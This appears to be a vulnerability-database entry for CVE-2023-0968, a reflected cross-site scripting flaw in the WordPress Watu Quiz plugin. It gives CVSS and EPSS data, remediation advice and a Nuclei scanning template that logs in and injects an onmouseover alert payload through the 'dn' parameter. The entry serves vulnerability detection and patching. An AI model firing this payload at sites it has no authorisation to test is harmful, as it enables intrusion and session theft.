SecurityContext

CVE-2023-0968: WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01252
  • Epss percentile: 0.70187
  • Cpe: cpe:2.3:a:kibokolabs:watu_quiz:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: watu_quiz
  • Vendor: kibokolabs
  • Verified: yes

Products

ProductIndexedUrl
kibokolabs:watu_quizyes/v1/products/kibokolabs/watu_quiz

Labels

  • Name: WordPress Watu Quiz - Reflected XSS
  • Impact: Attackers can execute scripts in users' browsers, potentially stealing cookies and hijacking sessions, especially targeting high-privilege users like admins.
  • Remediation: Update to version 3.3.9.1 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec, information_disclosure
  • Requirement type: user_interaction
  • Requirements: Attacker needs to craft malicious input and lure users to exploit
  • Labels source: projectdiscovery
  • From cve: CVE-2023-0968

```yaml

id: CVE-2023-0968

info:

name: WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

WordPress Watu Quiz plugin before 3.3.9.1 is susceptible to cross-site scripting. The plugin does not sanitize and escape some parameters, such as email, dn, date, and points, before outputting then back in a page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This exploit can be used against high-privilege users such as admin.

impact: |

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.

remediation: Fixed in version 3.3.9.1.

reference:

- https://wpscan.com/vulnerability/29008d1a-62b3-4f40-b5a3-134455b01595

- https://wordpress.org/plugins/watu/

- https://plugins.trac.wordpress.org/browser/watu/trunk/views/takings.php#L31

- https://nvd.nist.gov/vuln/detail/CVE-2023-0968

- https://www.wordfence.com/threat-intel/vulnerabilities/id/6341bdcc-c99f-40c3-81c4-ad90ff19f802

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-0968

cwe-id: CWE-79

epss-score: 0.01252

epss-percentile: 0.70187

cpe: cpe:2.3:a:kibokolabs:watu_quiz:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: kibokolabs

product: watu_quiz

framework: wordpress

tags: cve2023,cve,wordpress,wp,wp-plugin,xss,watu,authenticated,wpscan,kibokolabs,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- 'contains(header_2, "text/html")'

- 'contains(body_2, "/onmouseover=alert(document.domain)//")'

- 'contains(body_2, "Watu Quizzes")'

condition: and

digest: 490a0046304402202d5289d800581d2c9df2d3b066a2a7b02763f2f192b4d5013e8df21dac7405c202207b6317f50a730ef66d036d14ade61ca150cd9d475a7d6437ec33a2ca20e81afe:922c64590222798bb761d5b6d8e72950

```